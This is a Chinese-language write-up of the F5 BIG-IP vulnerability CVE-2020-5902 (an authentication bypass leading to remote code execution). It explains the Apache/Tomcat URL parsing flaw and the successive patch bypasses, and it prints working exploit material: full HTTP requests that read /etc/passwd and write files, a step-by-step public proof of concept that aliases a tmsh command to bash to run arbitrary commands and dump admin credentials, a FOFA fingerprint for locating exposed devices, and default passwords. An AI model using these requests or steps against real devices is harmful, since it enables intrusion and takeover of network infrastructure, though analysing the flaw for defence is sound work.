BIG-IP 是 F5 公司制造的一款多功能网络设备,设备经配置后可作为流量控制系统、负载平衡器、防火墙、访问网关、速率限制器或 SSL 中间件。
FOFA指纹:title="BIG-IP®- Redirect"
F5登录账号:[email protected]/John12334
系统默认账号密码:root/default
Web默认账号密码:admin/admin
Web根目录:/usr/local/www/
影响版本:
F5 BIG-IP < 15.1.0.4 F5 BIG-IP < 14.1.2.6 F5 BIG-IP < 13.1.3.4 F5 BIG-IP < 12.1.5.2 F5 BIG-IP < 11.6.5.2
F5 BIG-IP 设备前端采用 Apache 来接受用户请求,后端可同时处理 PHP 和 Java 程序。而处理 Java 程序时,则是通过 AJP 协议,将 Apache 接收到的数据封装并流转给 Tomcat 。具体配置在 /etc/httpd/conf.d/proxy_ajp.conf 文件中,下面仅贴出关键配置。
# /etc/httpd/conf.d/proxy_ajp.conf ProxyPassMatch ^/tmui/(.*\.jsp.*)$ ajp://localhost:8009/tmui/$1 retry=5 ProxyPassMatch ^/tmui/Control/(.*)$ ajp://localhost:8009/tmui/Control/$1 retry=5 ProxyPassMatch ^/tmui/deal/?(.*)$ ajp://localhost:8009/tmui/deal/$1 retry=5 ProxyPassMatch ^/tmui/graph/(.*)$ ajp://localhost:8009/tmui/graph/$1 retry=5 ProxyPassMatch ^/tmui/service/(.*)$ ajp://localhost:8009/tmui/service/$1 retry=5 ProxyPassMatch ^/hsqldb(.*)$ ajp://localhost:8009/tmui/hsqldb$1 retry=5
而 Apache 在处理 /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp ,会认为处理的是 /tmui/login.jsp 文件,但是 .*\.jsp
会进行最大限度的匹配,所以就会将完整的 /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp 转给 Tomcat 处理。关于 Apache 对访问权限校验的处理,得去看 /etc/httpd/modules/mod_auth_pam.so ,这里笔者能力有限不做逆向分析。
Tomcat 在处理 /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp 的时候,会先去除 ; / 之间的字符,
具体代码在 catalina.jar!/org/apache/catalina/connector/CoyoteAdapter.class:parsePathParameters() 中。
然后再将 /tmui/login.jsp/../tmui/locallb/workspace/fileRead.jsp 处理成 /tmui/tmui/locallb/workspace/fileRead.jsp ,具体处理代码在 catalina.jar!/org/apache/catalina/connector/CoyoteAdapter.class:normalize() 。
所以这次的权限绕过漏洞,实际上还是出在 Apache 和 Tomcat 对 URL 的解析差异。在绕过权限校验后,后台的功能代码基本上都能利用。下面贴几个网上利用最多的几个 JSP 漏洞文件的源码,具体漏洞成因就不再分析了,看源码即可。
GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd HTTP/1.1 Host: 192.168.43.115 Connection: close Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9
POST /tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp HTTP/1.1 Host: 192.168.43.115 Connection: close Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Content-Type: application/x-www-form-urlencoded Content-Length: 35 fileName=/tmp/1&content=id
可以看到想要执行命令,那么就必须满足以下两个条件:
// 命令的第一个指令必须是:create、delete、list、modify其中一个 public static JSONObject runTmshCommand(String command) { String operation = command.split(" ")[0]; if (ShellCommandValidator.checkForBadShellCharacters(command) || !operation.equals("create") && !operation.equals("delete") && !operation.equals("list") && !operation.equals("modify")) { error = NLSEngine.getString("ilx.workspace.error.RejectedTmshCommand"); } } //命令不能包含以下特殊字符 public static boolean checkForBadShellCharacters(String value) { char[] cArray = value.toCharArray(); for(int i = 0; i < cArray.length; ++i) { char c = cArray[i]; if (c == '&' || c == ';' || c == '`' || c == '\'' || c == '\\' || c == '"' || c == '|' || c == '*' || c == '?' || c == '~' || c == '<' || c == '>' || c == '^' || c == '(' || c == ')' || c == '[' || c == ']' || c == '{' || c == '}' || c == '$' || c == '\n' || c == '\r') { return true; } } return false; }
所以我们就得去查查 tmsh 的官方手册,看看有什么可以利用的地方。通过查阅手册,我们发现可以给命令定义别名。那么我们实际上可以将上面要求的 create、delete、list、modify 指定成 /bin/bash ,这样就可以执行任意系统命令了。
# 定义别名语法: create /cli alias [xx] command ["save /sys config"] # 删除别名语法: delete /cli alias [xx]
网上公开的执行命令 POC 步骤如下:
# 获取admin用户账号密码 /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin 1.修改alias劫持list命令为bash /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=create+/cli+alias+private+list+command+bash 3.执行bash文件 /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+/tmp/xxx 4.还原list命令 /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=delete+cli+alias+private+list
上面几个 Jsp 文件,实际上都没有做任何的权限校验。通过查看 /usr/share/tomcat/conf/web.xml ,可以知道 Tomcat 的 HTTP 服务开放在 9832 端口,我们可以直接访问 http://localhost/tmui/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd 触发任意文件读取漏洞。
国外攻击者发现,该漏洞还可以通过 hsqldb 反序列化执行任意 Java 代码,漏洞利用代码已经公开在 https://github.com/Critical-Start/Team-Ares/tree/master/CVE-2020-5902 。我们也可以本地写个 Demo 代码,验证这个反序列化漏洞,效果如下。
在最开始,攻击者通过使用 ..; 来绕过权限验证,官方发布了如下加固措施(禁止路径中有 ..; 符号):
include ' <LocationMatch ".*\.\.;.*"> Redirect 404 / </LocationMatch> '
在这补丁之后,攻击者发现可以通过 http://vulnsite/hsqldb;/ 来绕过上面的补丁。于是官方又发布了如下加固措施(禁止路径中有 ; 符号):
include ' <LocationMatch ";"> Redirect 404 / </LocationMatch> '
然而研究人员发现漏洞仍然可以通过 http://vulnsite/hsqldb%0a 来触发,最终官方发布了如下加固措施(禁止路径中有 ; 符号以及 hsqldb 字符串):
include ' <LocationMatch ";"> Redirect 404 / </LocationMatch> <LocationMatch "hsqldb"> Redirect 404 / </LocationMatch> '
https://medium.com/certik/cve-2020-5902-analysis-f5-big-ip-rce-vulnerability-3a3ae6278128
https://www.criticalstart.com/f5-big-ip-remote-code-execution-exploit/
漏洞风险提示 | F5 BIG-IP 远程代码执行漏洞(CVE-2020-5902)缓解方案绕过(二)